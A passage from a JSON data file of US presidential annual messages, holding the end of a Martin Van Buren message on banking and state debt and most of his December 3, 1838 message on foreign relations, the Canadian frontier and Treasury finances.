far as may be practicable, by prudent\nlegislation those temptations of interest and those opportunities for their\ndangerous indulgence which beset them on every side, and to confine them\nstrictly to the performance of their paramount duty--that of aiding the\noperations of commerce rather than consulting their own exclusive\nadvantage. These and other salutary reforms may, it is believed, be\naccomplished without the violation of any of the great principles of the\nsocial compact, the observance of which is indispensable to its existence,\nor interfering in any way with the useful and profitable employment of real\ncapital.Institutions so framed have existed and still exist elsewhere, giving to\ncommercial intercourse all necessary facilities without inflating or\ndepreciating the currency or stimulating speculation. Thus accomplishing\ntheir legitimate ends, they have gained the surest guaranty for their\nprotection and encouragement in the good will of the community. Among a\npeople so just as ours the same results could not fail to attend a similar\ncourse. The direct supervision of the banks belongs, from the nature of our\nGovernment, to the States who authorize them. It is to their legislatures\nthat the people must mainly look for action on that subject. But as the\nconduct of the Federal Government in the management of its revenue has also\na powerful, though less immediate, influence upon them, it becomes our duty\nto see that a proper direction is given to it. While the keeping of the\npublic revenue in a separate and independent treasury and of collecting it\nin gold and silver will have a salutary influence on the system of paper\ncredit with which all banks are connected, and thus aid those that are\nsound and well managed, it will at the same time sensibly check such as are\notherwise by at once withholding the means of extravagance afforded by the\npublic funds and restraining them from excessive issues of notes which they\nwould be constantly called upon to redeem.I am aware it has been urged that this control may be best attained and\nexerted by means of a national bank. The constitutional objections which I\nam well known to entertain would prevent me in any event from proposing or\nassenting to that remedy; but in addition to this, I can not after past\nexperience bring myself to think that it can any longer be extensively\nregarded as effective for such a purpose. The history of the late national\nbank, through all its mutations, shows that it was not so. On the contrary,\nit may, after a careful consideration of the subject, be, I think, safely\nstated that at every period of banking excess it took the lead; that in\n1817 and 1818, in 1823, in 1831, and in 1834 its vast expansions, followed\nby distressing contractions, led to those of the State institutions. It\nswelled and maddened the tides of the banking system, but seldom allayed or\nsafely directed them. At a few periods only was a salutary control\nexercised, but an eager desire, on the contrary, exhibited for profit in\nthe first place; and if afterwards its measures were severe toward other\ninstitutions, it was because its own safety compelled it to adopt them. It\ndid not differ from them in principle or in form; its measures emanated\nfrom the same spirit of gain; it felt the same temptation to overissues; it\nsuffered from and was totally unable to avert those inevitable laws of\ntrade by which it was itself affected equally with them; and at least on\none occasion, at an early day, it was saved only by extraordinary exertions\nfrom the same fate that attended the weakest institution it professed to\nsupervise. In 1837 it failed equally with others in redeeming its notes\n(though the two years allowed by its charter for that purpose had not\nexpired), a large amount of which remains to the present time outstanding.\nIt is true that, having so vast a capital and strengthened by the use of\nall the revenues of the Government, it possessed more power; but while it\nwas itself by that circumstance freed from the control which all banks\nrequire, its paramount object and inducement were left the same--to make\nthe most for its stockholders, not to regulate the currency of the country.\nNor has it, as far as we are advised, been found to be greatly otherwise\nelsewhere. The national character given to the Bank of England has not\nprevented excessive fluctuations in their currency, and it proved unable to\nkeep off a suspension of specie payments, which lasted for nearly a quarter\nof a century. And why should we expect it to be otherwise? A national\ninstitution, though deriving its charter from a different source than the\nState banks, is yet constituted upon the same principles, is conducted by\nmen equally exposed to temptation, and is liable to the same disasters,\nwith the additional disadvantage that its magnitude occasions an extent of\nconfusion and distress which the mismanagement of smaller institutions\ncould not produce. It can scarcely be doubted that the recent suspension of\nthe United State Bank of Pennsylvania, of which the effects are felt not in\nthat State alone, but over half the Union, had its origin in a course of\nbusiness commenced while it was a national institution, and there is no\ngood reason for supposing that the same consequences would not have\nfollowed had it still derived its powers from the General Government. It is\nin vain, when the influences and impulses are the same, to look for a\ndifference in conduct or results. By such creations we do, therefore, but\nincrease the mass of paper credit and paper currency, without checking\ntheir attendant evils and fluctuations. The extent of power and the\nefficiency of organization which we give, so far from being beneficial, are\nin practice positively injurious. They strengthen the chain of dependence\nthroughout the Union, subject all parts more certainly to common disaster,\nand bind every bank more effectually in the first instance to those of our\ncommercial cities, and in the end to a foreign power. In a word, I can not\nbut believe that, with the full understanding of the operations of our\nbanking system which experience has produced, public sentiment is not less\nopposed to the creation of a national bank for purposes connected with\ncurrency and commerce than for those connected with the fiscal operations\nof the Government.Yet the commerce and currency of the country are suffering evils from the\noperations of the State banks which can not and ought not to be overlooked.\nBy their means we have been flooded with a depreciated paper, which it was\nevidently the design of the framers of the Constitution to prevent when\nthey required Congress to \"Coin money and regulate the value of foreign\ncoins,\" and when they forbade the States \"to coin money, emit bills of\ncredit, make anything but gold and silver a tender in payment of debts,\" or\n\"pass any law impairing the obligation of contracts.\" If they did not guard\nmore explicitly against the present state of things, it was because they\ncould not have anticipated that the few banks then existing were to swell\nto an extent which would expel to so great a degree the gold and silver for\nwhich they had provided from the channels of circulation, and fill them\nwith a currency that defeats the objects they had in view. The remedy for\nthis must chiefly rest with the States from whose legislation it has\nsprung. No good that might accrue in a particular case front the exercise\nof powers not obviously conferred on the General Government would authorize\nits interference or justify a course that might in the slightest degree\nincrease at the expense of the States the power of the Federal authorities;\nnor do I doubt that the States will apply the remedy. Within the last few\nyears events have appealed to them too strongly to be disregarded. They\nhave seen that the Constitution, though theoretically adhered to, is\nsubverted in practice; that while on the statute books there is no legal\ntender but gold and silver, no law impairing the obligations of contracts,\nyet that in point of fact the privileges conferred on banking corporations\nhave made their notes the currency of the country; that the obligations\nimposed by these notes are violated under the impulses of interest or\nconvenience, and that the number and power of the persons connected with\nthese corporations or placed under their influence give them a fearful\nweight when their interest is in opposition to the spirit of the\nConstitution and laws. To the people it is immaterial whether these results\nare produced by open violations of the latter or by the workings of a\nsystem of which the result is the same. An inflexible execution even of the\nexisting statutes of most of the States would redress many evils now\nendured, would effectually show the banks the dangers of mismanagement\nwhich impunity encourages them to repeat, and would teach all corporations\nthe useful lesson that they are the subjects of the law and the servants of\nthe people. What is still wanting to effect these objects must be sought in\nadditional legislation, or, if that be inadequate, in such further\nconstitutional grants or restrictions as may bring us back into the path\nfrom which we have so widely wandered.In the meantime it is the duty of the General Government to cooperate with\nthe States by a wise exercise of its constitutional powers and the\nenforcement of its existing laws. The extent to which it may do so by\nfurther enactments I have already adverted to, and the wisdom of Congress\nmay yet enlarge them. But above all, it is incumbent upon us to hold erect\nthe principles of morality and law, constantly executing our own contracts\nin accordance with the provisions of the Constitution, and thus serving as\na rallying point by which our whole country may be brought back to that\nsafe and honored standard.Our people will not long be insensible to the extent of the burdens\nentailed upon them by the false system that has been operating on their\nsanguine, energetic, and industrious character, nor to the means necessary\nto extricate themselves from these embarrassments. The weight which presses\nupon a large portion of the people and the States is an enormous debt,\nforeign and domestic. The foreign debt of our States, corporations, and men\nof business can scarcely be less than $200,000,000, requiring more than\n$10,000,000 a year to pay the interest. This sum has to be paid out of the\nexports of the country, and must of necessity cut off imports to that\nextent or plunge the country more deeply in debt from year to year. It is\neasy to see that the increase of this foreign debt must augment the annual\ndemand on the exports to pay the interest, and to the same extent diminish\nthe imports, and in proportion to the enlargement of the foreign debt and\nthe consequent increase of interest must be the decrease of the import\ntrade. In lieu of the comforts which it now brings us we might have our.\ngigantic banking institutions and splendid, but in many instances\nprofitless, railroads and canals absorbing to a great extent in interest\nupon the capital borrowed to construct them the surplus fruits of national\nindustry for years to come, and securing to posterity no adequate return\nfor the comforts which the labors of their hands might otherwise have\nsecured. It is not by the increase of this debt that relief is to be\nsought, but in its diminution. Upon this point there is, I am happy to say,\nhope before us; not so much in the return of confidence abroad, which will\nenable the States to borrow more money, as in a change of public feeling at\nhome, which prompts our people to pause in their career and think of the\nmeans by which debts are to be paid before they are contracted. If we would\nescape embarrassment, public and private, we must cease to run in debt\nexcept for objects of necessity or such as will yield a certain return. Let\nthe faith of the States, corporations, and individuals already pledged be\nkept with the most punctilious regard. It is due to our national character\nas well as to justice that this should on the part of each be a fixed\nprinciple of conduct. But it behooves us all to be more chary in pledging\nit hereafter. By ceasing to run in debt and applying the surplus of our\ncrops and incomes to the discharge of existing obligations, buying less and\nselling more, and managing all affairs, public and private, with strict\neconomy and frugality, we shall see our country soon recover from a\ntemporary depression, arising not from natural and permanent causes, but\nfrom those I have enumerated, and advance with renewed vigor in her career\nof prosperity.Fortunately for us at this moment, when the balance of trade is greatly\nagainst us and the difficulty of meeting it enhanced by the disturbed state\nof our money affairs, the bounties of Providence have come to relieve us\nfrom the consequences of past errors. A faithful application of the immense\nresults of the labors of the last season will afford partial relief for the\npresent, and perseverance in the same course will in due season accomplish\nthe rest. We have had full experience in times past of the extraordinary\nresults which can in this respect be brought about in a short period by the\nunited and well-directed efforts of a community like ours. Our surplus\nprofits, the energy and industry of our population, and the wonderful\nadvantages which Providence has bestowed upon our country in its climate,\nits various productions, indispensable to other nations, will in due time\nafford abundant means to perfect the most useful of those objects for which\nthe States have been plunging themselves of late in embarrassment and debt,\nwithout imposing on ourselves or our children such fearful burdens.But let it be indelibly engraved on our minds that relief is not to be\nfound in expedients. Indebtedness can not be lessened by borrowing more\nmoney or by changing the form of the debt. The balance of trade is not to\nbe turned in our favor by creating new demands upon us abroad. Our currency\ncan not be improved by the creation of new banks or more issues from those\nwhich now exist. Although these devices sometimes appear to give temporary\nrelief, they almost invariably aggravate the evil in the end. It is only by\nretrenchment and reform--by curtailing public and private expenditures, by\npaying our debts, and by reforming our banking system--that we are to\nexpect effectual relief, security for the future, and an enduring\nprosperity. In shaping the institutions and policy of the General\nGovernment so as to promote as far as it can with its limited powers these\nimportant ends, you may rely on my most cordial cooperation.That there should have been in the progress of recent events doubts in many\nquarters and in some a heated opposition to every change can not surprise\nus. Doubts are properly attendant on all reform, and it is peculiarly in\nthe nature of such abuses as we are now encountering to seek to perpetuate\ntheir power by means of the influence they have been permitted to acquire.\nIt is their result, if not their object, to gain for the few an ascendency\nover the many by securing to them a monopoly of the currency, the medium\nthrough which most of the wants of mankind are supplied; to produce\nthroughout society a chain of dependence which leads all classes to look to\nprivileged associations for the means of speculation and extravagance; to\nnourish, in preference to the manly virtues that give dignity to human\nnature, a craving desire for luxurious enjoyment and sudden wealth, which\nrenders those who seek them dependent on those who supply them; to\nsubstitute for republican simplicity and economical habits a sickly\nappetite for effeminate indulgence and an imitation of that reckless\nextravagance which impoverished and enslaved the industrious people of\nforeign lands, and at last to fix upon us, instead of those equal political\nrights the acquisition of which was alike the object and supposed reward of\nour Revolutionary struggle, a system of exclusive privileges conferred by\npartial legislation. To remove the influences which had thus gradually\ngrown up among us, to deprive them of their deceptive advantages, to test\nthem by the light of wisdom and truth, to oppose the force which they\nconcentrate in their sup-port--all this was necessarily the work of time,\neven among a people so enlightened and pure as that of the United States.\nIn most other countries, perhaps, it could only be accomplished through\nthat series of revolutionary movements which are too often found necessary\nto effect any great and radical reform; but it is the crowning merit of our\ninstitutions that they create and nourish in the vast majority of our\npeople a disposition and a power peaceably to remedy abuses which have\nelsewhere caused the effusion of rivers of blood and the sacrifice of\nthousands of the human race. The result thus far is most honorable to the\nself-denial, the intelligence, and the patriotism of our citizens; it\njustifies the confident hope that they will carry through the reform which\nhas been so well begun, and that they will go still further than they have\nyet gone in illustrating the important truth that a people as free and\nenlightened as ours will, whenever it becomes necessary, show themselves to\nbe indeed capable of self-government by voluntarily adopting appropriate\nremedies for every abuse, and submitting to temporary sacrifices, however\ngreat, to insure their permanent welfare.My own exertions for the furtherance of these desirable objects have been\nbestowed throughout my official career with a zeal that is nourished by\nardent wishes for the welfare of my country, and by an unlimited reliance\non the wisdom that marks its ultimate decision on all great and\ncontroverted questions. Impressed with the solemn obligations imposed upon\nme by the Constitution, desirous also of laying before my fellow-citizens,\nwith whose confidence and support I have been so highly honored, such\nmeasures as appear to me conducive to their prosperity, and anxious to\nsubmit to their fullest consideration the grounds upon which my opinions\nare formed, I have on this as on preceding occasions freely offered my\nviews on those points of domestic policy that seem at the present time most\nprominently to require the action of the Government. I know that they will\nreceive from Congress that full and able consideration which the importance\nof the subjects merits, and I can repeat the assurance heretofore made that\nI shall cheerfully and readily cooperate with you in every measure that\nwill tend to promote the welfare of the Union.M. VAN BUREN", 
+    "name": "Martin van Buren"
+}
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+{
+    "date": "December 3, 1838", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I congratulate you on the favorable circumstances in the condition of our\ncountry under which you reassemble for the performance of your official\nduties. Though the anticipations of an abundant harvest have not everywhere\nbeen realized, yet on the whole the labors of the husbandman are rewarded\nwith a bountiful return; industry prospers in its various channels of\nbusiness and enterprise; general health again prevails through our vast\ndiversity of climate; nothing threatens from abroad the continuance of\nexternal peace; nor has anything at home impaired the strength of those\nfraternal and domestic ties which constitute the only guaranty to the\nsuccess and permanency of our happy Union, and which, formed in the hour of\nperil, have hitherto been honorably sustained through every vicissitude in\nour national affairs. These blessings, which evince the care and\nbeneficence of Providence, call for our devout and fervent gratitude.We have not less reason to be grateful for other bounties bestowed by the\nsame munificent hand, and more exclusively our own.The present year closes the first half century of our Federal institutions,\nand our system, differing from all others in the acknowledged practical and\nunlimited operation which it has for so long a period given to the\nsovereignty of the people, has now been fully tested by experience.The Constitution devised by our forefathers as the framework and bond of\nthat system, then untried, has become a settled form of government; not\nonly preserving and protecting the great principles upon which it was\nrounded, but wonderfully promoting individual happiness and private\ninterests. Though subject to change and entire revocation whenever deemed\ninadequate to all these purposes, yet such is the wisdom of its\nconstruction and so stable has been the public sentiment that it remains\nunaltered except in matters of detail comparatively unimportant. It has\nproved amply sufficient for the various emergencies incident to our\ncondition as a nation. A formidable foreign war; agitating collisions\nbetween domestic, and in some respects rival, sovereignties; temptations to\ninterfere in the intestine commotions of neighboring countries; the\ndangerous influences that arise in periods of excessive prosperity, and the\nantirepublican tendencies of associated wealth--these, with other trials\nnot less formidable, have all been encountered, and thus far successfully\nresisted.It was reserved for the American Union to test the advantages of a\ngovernment entirely dependent on the continual exercise of the popular\nwill, and our experience has shown that it is as beneficent in practice as\nit is just in theory. Each successive change made in our local institutions\nhas contributed to extend the right of suffrage, has increased the direct\ninfluence of the mass of the community, given greater freedom to individual\nexertion, and restricted more and more the powers of Government; yet the\nintelligence, prudence, and patriotism of the people have kept pace with\nthis augmented responsibility. In no country has education been so widely\ndiffused. Domestic peace has nowhere so largely reigned. The close bonds of\nsocial intercourse have in no instance prevailed with such harmony over a\nspace so vast. All forms of religion have united for the first time to\ndiffuse charity and piety, because for the first time in the history of\nnations all have been totally untrammeled and absolutely free. The deepest\nrecesses of the wilderness have been penetrated; yet instead of the\nrudeness in the social condition consequent upon such adventures elsewhere,\nnumerous communities have sprung up, already unrivaled in prosperity,\ngeneral intelligence, internal tranquillity, and the wisdom of their\npolitical institutions. Internal improvement, the fruit of individual\nenterprise, fostered by the protection of the States, has added new links\nto the Confederation and fresh rewards to provident industry. Doubtful\nquestions of domestic policy have been quietly settled by mutual\nforbearance, and agriculture, commerce, and manufactures minister to each\nother. Taxation and public debt, the burdens which bear so heavily upon all\nother countries, have pressed with comparative lightness upon us. Without\none entangling alliance, our friendship is prized by every nation, and the\nrights of our citizens are everywhere respected, because they are known to\nbe guarded by a united, sensitive, and watchful people.To this practical operation of our institutions, so evident and successful,\nwe owe that increased attachment to them which is among the most cheering\nexhibitions of popular sentiment and will prove their best security in time\nto come against foreign or domestic assault.This review of the results of our institutions for half a century, without\nexciting a spirit of vain exultation, should serve to impress upon us the\ngreat principles from which they have sprung--constant and direct\nsupervision by the people over every public measure, strict forbearance on\nthe part of the Government from exercising any doubtful or disputed powers,\nand a cautious abstinence from all interference with concerns which\nproperly belong and are best left to State regulations and individual\nenterprise.Full information of the state of our foreign affairs having been recently\non different occasions submitted to Congress, I deem it necessary now to\nbring to your notice only such events as have subsequently occurred or are\nof such importance as to require particular attention.The most amicable dispositions continue to be exhibited by all the nations\nwith whom the Government and citizens of the United States have an habitual\nintercourse. At the date of my last annual message Mexico was the only\nnation which could not be included in so gratifying a reference to our\nforeign relations.I am happy to be now able to inform you that an advance has been made\ntoward the adjustment of our differences with that Republic and the\nrestoration of the customary good feeling between the two nations. This\nimportant change has been effected by conciliatory negotiations that have\nresulted in the conclusion of a treaty between the two Governments, which,\nwhen ratified, will refer to the arbitrament of a friendly power all the\nsubjects of controversy between us growing out of injuries to individuals.\nThere is at present also reason to believe that an equitable settlement of\nall disputed points will be attained without further difficulty or\nunnecessary delay, and thus authorize the free resumption of diplomatic\nintercourse with our sister Republic.With respect to the northeastern boundary of the United States, no official\ncorrespondence between this Government and that of Great Britain has passed\nsince that communicated to Congress toward the close of their last session.\nThe offer to negotiate a convention for the appointment of a joint\ncommission of survey and exploration I am, however, assured will be met by\nHer Majesty's Government in a conciliatory and friendly spirit, and\ninstructions to enable the British minister here to conclude such an\narrangement will be transmitted to him without needless delay. It is hoped\nand expected that these instructions will be of a liberal character, and\nthat this negotiation, if successful, will prove to be an important step\ntoward the satisfactory and final adjustment of the controversy.I had hoped that the respect for the laws and regard for the peace and\nhonor of their own country which have ever characterized the citizens of\nthe United States would have prevented any portion of them from using any\nmeans to promote insurrection in the territory of a power with which we are\nat peace, and with which the United States are desirous of maintaining the\nmost friendly relations. I regret deeply, however, to be obliged to inform\nyou that this has not been the case. Information has been given to me,\nderived from official and other sources, that many citizens of the United\nStates have associated together to make hostile incursions from our\nterritory into Canada and to aid and abet insurrection there, in violation\nof the obligations and laws of the United States and in open disregard of\ntheir own duties as citizens. This information has been in part confirmed\nby a hostile invasion actually made by citizens of the United States, in\nconjunction with Canadians and others, and accompanied by a forcible\nseizure of the property of our citizens and an application thereof to the\nprosecution of military operations against the authorities and people of\nCanada.The results of these criminal assaults upon the peace and order of a\nneighboring country have been, as was to be expected, fatally destructive\nto the misguided or deluded persons engaged in them and highly injurious to\nthose in whose behalf they are professed to have been undertaken. The\nauthorities in Canada, from intelligence received of such intended\nmovements among our citizens, have felt themselves obliged to take\nprecautionary measures against them; have actually embodied the militia and\nassumed an attitude to repel the invasion to which they believed the\ncolonies were exposed from the United States. A state of feeling on both\nsides of the frontier has thus been produced which called for prompt and\nvigorous interference. If an insurrection existed in Canada, the amicable\ndispositions of the United States toward Great Britain, as well as their\nduty to themselves, would lead them to maintain a strict neutrality and to\nrestrain their citizens from all violations of the laws which have been\npassed for its enforcement. But this Government recognizes a still higher\nobligation to repress all attempts on the part of its citizens to disturb\nthe peace of a country where order prevails or has been reestablished.\nDepredations by our citizens upon nations at peace with the United States,\nor combinations for committing them, have at all times been regarded by the\nAmerican Government and people with the greatest abhorrence. Military\nincursions by our citizens into countries so situated, and the commission\nof acts of violence on the members thereof, in order to effect a change in\ntheir government, or under any pretext whatever, have from the commencement\nof our Government been held equally criminal on the part of those engaged\nin them, and as much deserving of punishment as would be the disturbance of\nthe public peace by the perpetration of similar acts within our own\nterritory.By no country or persons have these invaluable principles of international\nlaw--principles the strict observance of which is so indispensable to the\npreservation of social order in the world--been more earnestly cherished or\nsacredly respected than by those great and good men who first declared and\nfinally established the independence of our own country. They promulgated\nand maintained them at an early and critical period in our history; they\nwere subsequently embodied in legislative enactments of a highly penal\ncharacter, the faithful enforcement of which has hitherto been, and will, I\ntrust, always continue to be, regarded as a duty inseparably associated\nwith the maintenance of our national honor. That the people of the United\nStates should feel an interest in the spread of political institutions as\nfree as they regard their own to be is natural, nor can a sincere\nsolicitude for the success of all those who are at any time in good faith\nstruggling for their acquisition be imputed to our citizens as a crime.\nWith the entire freedom of opinion and an undisguised expression thereof on\ntheir part the Government has neither the right nor, I trust, the\ndisposition to interfere. But whether the interest or the honor of the\nUnited States requires that they should be made a party to any such\nstruggle, and by inevitable consequence to the war which is waged in its\nsupport, is a question which by our Constitution is wisely left to Congress\nalone to decide. It is by the laws already made criminal in our citizens to\nembarrass or anticipate that decision by unauthorized military operations\non their part. Offenses of this character, in addition to their criminality\nas violations of the laws of our country, have a direct tendency to draw\ndown upon our own citizens at large the multiplied evils of a foreign war\nand expose to injurious imputations the good faith and honor of the\ncountry. As such they deserve to be put down with promptitude and decision.\nI can not be mistaken, I am confident, in counting on the cordial and\ngeneral concurrence of our fellow-citizens in this sentiment. A copy of the\nproclamation which I have felt it my duty to issue is herewith\ncommunicated. I can not but hope that the good sense and patriotism, the\nregard for the honor and reputation of their country, the respect for the\nlaws which they have themselves enacted for their own government, and the\nlove of order for which the mass of our people have been so long and so\njustly distinguished will deter the comparatively few who are engaged in\nthem from a further prosecution of such desperate enterprises. In the\nmeantime the existing laws have been and will continue to be faithfully\nexecuted, and every effort will be made to carry them out in their full\nextent. Whether they are sufficient or not to meet the actual state of\nthings on the Canadian frontier it is for Congress to decide.It will appear from the correspondence herewith submitted that the\nGovernment of Russia declines a renewal of the fourth article of the\nconvention of April, 1824, between the United States and His Imperial\nMajesty, by the third article of which it is agreed that \"hereafter there\nshall not be formed by the citizens of the United States or under the\nauthority of the said States any establishment upon the northwest coast of\nAmerica, nor in any of the islands adjacent, to the north of 54  40' of\nnorth latitude, and that in the same manner there shall be none formed by\nRussian subjects or under the authority of Russia south of the same\nparallel;\" and by the fourth article, \"that during a term of ten years,\ncounting from the signature of the present convention, the ships of both\npowers, or which belong to their citizens or subjects, respectively, may\nreciprocally frequent, without any hindrance whatever, the interior seas,\ngulfs, harbors, and creeks upon the coast mentioned in the preceding\narticle, for the purpose of fishing and trading with the natives of the\ncountry.\" The reasons assigned for declining to renew the provisions of\nthis article are, briefly, that the only use made by our citizens of the\nprivileges it secures to them has been to supply the Indians with\nspirituous liquors, ammunition, and firearms; that this traffic has been\nexcluded from the Russian trade; and as the supplies furnished from the\nUnited States are injurious to the Russian establishments on the northwest\ncoast and calculated to produce complaints between the two Governments, His\nImperial Majesty thinks it for the interest of both countries not to accede\nto the proposition made by the American Government for the renewal of the\narticle last referred to.The correspondence herewith communicated will show the grounds upon which\nwe contend that the citizens of the United States have, independent of the\nprovisions of the convention of 1824, a right to trade with the natives\nupon the coast in question at unoccupied places, liable, however, it is\nadmitted, to be at any time extinguished by the creation of Russian\nestablishments at such points. This right is denied by the Russian\nGovernment, which asserts that by the operation of the treaty of 1824 each\nparty agreed to waive the general right to land on the vacant coasts on the\nrespective sides of the degree of latitude referred to, and accepted in\nlieu thereof the mutual privileges mentioned in the fourth article. The\ncapital and tonnage employed by our citizens in their trade with the\nnorthwest coast of America will, perhaps, on adverting to the official\nstatements of the commerce and navigation of the United States for the last\nfew years, be deemed too inconsiderable in amount to attract much\nattention; yet the subject may in other respects deserve the careful\nconsideration of Congress.I regret to state that the blockade of the principal ports on the eastern\ncoast of Mexico, which, in consequence of differences between that Republic\nand France, was instituted in May last, unfortunately still continues,\nenforced by a competent French naval armament, and is necessarily\nembarrassing to our own trade in the Gulf, in common with that of other\nnations. Every disposition, however, is believed to exist on the part of\nthe French Government to render this measure as little onerous as\npracticable to the interests of the citizens of the United States and to\nthose of neutral commerce, and it is to be hoped that an early settlement\nof the difficulties between France and Mexico will soon reestablish the\nharmonious relations formerly subsisting between them and again open the\nports of that Republic to the vessels of all friendly nations.A convention for marking that part of the boundary between the United\nStates and the Republic of Texas which extends from the mouth of the Sabine\nto the Red River was concluded and signed at this city on the 25th of April\nlast. It has since been ratified by both Governments, and seasonable\nmeasures will be taken to carry it into effect on the part of the United\nStates.The application of that Republic for admission into this Union, made in\nAugust, 1837, and which was declined for reasons already made known to you,\nhas been formally withdrawn, as will appear from the accompanying copy of\nthe note of the minister plenipotentiary of Texas, which was presented to\nthe Secretary of State on the occasion of the exchange of the ratifications\nof the convention above mentioned.Copies of the convention with Texas, of a commercial treaty concluded with\nthe King of Greece, and of a similar treaty with the Peru-Bolivian\nConfederation, the ratifications of which have been recently exchanged,\naccompany this message, for the information of Congress and for such\nlegislative enactments as may be found necessary or expedient in relation\nto either of them.To watch over and foster the interests of a gradually increasing and widely\nextended commerce, to guard the rights of American citizens whom business\nor pleasure or other motives may tempt into distant climes, and at the same\ntime to cultivate those sentiments of mutual respect and good will which\nexperience has proved so beneficial in international intercourse, the\nGovernment of the United States has deemed it expedient from time to time\nto establish diplomatic connections with different foreign states, by the\nappointment of representatives to reside within their respective\nterritories. I am gratified to be enabled to announce to you that since the\nclose of your last session these relations have been opened under the\nhappiest auspices with Austria and the Two Sicilies, that new nominations\nhave been made in the respective missions of Russia, Brazil, Belgium, and\nSweden and Norway in this country, and that a minister extraordinary has\nbeen received, accredited to this Government, from the Argentine\nConfederation.An exposition of the fiscal affairs of the Government and of their\ncondition for the past year will be made to you by the Secretary of the\nTreasury.The available balance in the Treasury on the 1st of January next is\nestimated at $2,765,342. The receipts of the year from customs and lands\nwill probably amount to $20,615,598. These usual sources of revenue have\nbeen increased by an issue of Treasury notes, of which less than\n$8,000,000, including interest and principal, will be outstanding at the\nend of the year, and by the sale of one of the bonds of the Bank of the\nUnited States for $2,254,871. The aggregate of means from these and other\nsources, with the balance on hand on the 1st of January last, has been\napplied to the payment of appropriations by Congress. The whole expenditure\nfor the year on their account, including the redemption of more than eight\nmillions of Treasury notes, constitutes an aggregate of about $40,000,000,\nand will still leave in the Treasury the balance before stated.Nearly $8,000,000 of Treasury notes are to be paid during the coming year\nin addition to the ordinary appropriations for the support of Government.\nFor both these purposes the resources of the Treasury will undoubtedly be\nsufficient if the charges upon it are not increased beyond the annual\nestimates. No excess, however, is likely to exist. Nor can the postponed\ninstallment of the surplus revenue be deposited with the States nor any\nconsiderable appropriations beyond the estimates be made without causing a\ndeficiency in the Treasury. The great caution, advisable at all times, of\nlimiting appropriations to the wants of the public service is rendered\nnecessary at present by the prospective and rapid reduction of the tariff,\nwhile the vigilant jealousy evidently excited among the people by the\noccurrences of the last few years assures us that they expect from their\nrepresentatives, and will sustain them in the exercise of, the most rigid\neconomy. Much can be effected by postponing appropriations not immediately\nrequired for the ordinary public service or for any pressing emergency, and\nmuch by reducing the expenditures where the entire and immediate\naccomplishment of the objects in view is not indispensable.When we call to mind the recent and extreme embarrassments produced by\nexcessive issues of bank paper, aggravated by the unforeseen withdrawal of\nmuch foreign capital and the inevitable derangement arising from the\ndistribution of the surplus revenue among the States as required by\nCongress, and consider the heavy expenses incurred by the removal of Indian\ntribes, by the military operations in Florida, and on account of the\nunusually large appropriations made at the last two annual sessions of\nCongress for other objects, we have striking evidence in the present\nefficient state of our finances of the abundant resources of the country to\nfulfill all its obligations. Nor is it less gratifying to find that the\ngeneral business of the community, deeply affected as it has been, is\nreviving with additional vigor, chastened by the lessons of the past and\nanimated by the hopes of the future. By the curtailment of paper issues, by\ncurbing the sanguine and adventurous spirit of speculation, and by the\nhonorable application of all available means to the fulfillment of\nobligations, confidence has been restored both at home and abroad, and ease\nand facility secured to all the operations of trade.The agency of the Government in producing these results has been as\nefficient as its powers and means permitted. By withholding from the States\nthe deposit of the fourth installment, and leaving several millions at long\ncredits with the banks, principally in one section of the country, and more\nimmediately beneficial to it, and at the same time aiding the banks and\ncommercial communities in other sections by postponing the payment of bonds\nfor duties to the amount of between four and five millions of dollars; by\nan issue of Treasury notes as a means to enable the Government to meet the\nconsequences of their indulgences, but affording at the same time\nfacilities for remittance and exchange; and by steadily declining to employ\nas general depositories of the public revenues, or receive the notes of,\nall banks which refused to redeem them with specie--by these measures,\naided by the favorable action of some of the banks and by the support and\ncooperation of a large portion of the community, we have witnessed an early\nresumption of specie payments in our great commercial capital, promptly\nfollowed in almost every part of the United States. This result has been\nalike salutary to the true interests of agriculture, commerce, and\nmanufactures; to public morals, respect for the laws, and that confidence\nbetween man and man which is so essential in all our social relations.The contrast between the suspension of 1814 and that of 1837 is most\nstriking. The short duration of the latter, the prompt restoration of\nbusiness, the evident benefits resulting from an adherence by the\nGovernment to the constitutional standard of value instead of sanctioning\nthe suspension by the receipt of irredeemable paper, and the advantages\nderived from the large amount of specie introduced into the country\nprevious to 1837 afford a valuable illustration of the true policy of the\nGovernment in such a crisis. Nor can the comparison fail to remove the\nimpression that a national bank is necessary in such emergencies. Not only\nwere specie payments resumed without its aid, but exchanges have also been\nmore rapidly restored than when it existed, thereby showing that private\ncapital, enterprise, and prudence are fully adequate to these ends. On all\nthese points experience seems to have confirmed the views heretofore\nsubmitted to Congress. We have been saved the mortification of seeing the\ndistresses of the community for the third time seized on to fasten upon the\ncountry so dangerous an institution, and we may also hope that the business\nof individuals will hereafter be relieved from the injurious effects of a\ncontinued agitation of that disturbing subject. The limited influence of a\nnational bank in averting derangement in the exchanges of the country or in\ncompelling the resumption of specie payments is now not less apparent than\nits tendency to increase inordinate speculation by sudden expansions and\ncontractions; its disposition to create panic and embarrassment for the\npromotion of its own designs; its interference with politics, and its far\ngreater power for evil than for good, either in regard to the local\ninstitutions or the operations of Government itself. What was in these\nrespects but apprehension or opinion when a national bank was first\nestablished now stands confirmed by humiliating experience. The scenes\nthrough which we have passed conclusively prove how little our commerce,\nagriculture, manufactures, or finances require such an institution, and\nwhat dangers are attendant on its power--a power, I trust, never to be\nconferred by the American people upon their Government, and still less upon\nindividuals not responsible to them for its unavoidable abuses.My conviction of the necessity of further legislative provisions for the\nsafe-keeping and disbursement of the public moneys and my opinion in regard\nto the measures best adapted to the accomplishment of those objects have\nbeen already submitted to you. These have been strengthened by recent\nevents, and in the full conviction that time and experience must still\nfurther demonstrate their propriety I feel it my duty, with respectful\ndeference to the conflicting views of others, again to invite your\nattention to them.With the exception of limited sums deposited in the few banks still\nemployed under the act of 1836, the amounts received for duties, and, with\nvery inconsiderable exceptions, those accruing from lands also, have since\nthe general suspension of specie payments by the deposit banks been kept\nand disbursed by the Treasurer under his general legal powers, subject to\nthe superintendence of the Secretary of the Treasury. The propriety of\ndefining more specifically and of regulating by law the exercise of this\nwide scope of Executive discretion has been already submitted to Congress.A change in the office of collector at one of our principal ports has\nbrought to light a defalcation of the gravest character, the particulars of\nwhich will be laid before you in a special report from the Secretary of the\nTreasury. By his report and the accompanying documents it will be seen that\nthe weekly returns of the defaulting officer apparently exhibited\nthroughout a faithful administration of the affairs intrusted to his\nmanagement. It, however, now appears that he commenced abstracting the\npublic moneys shortly after his appointment and continued to do so,\nprogressively increasing the amount, for the term of more than seven years,\nembracing a portion of the period during which the public moneys 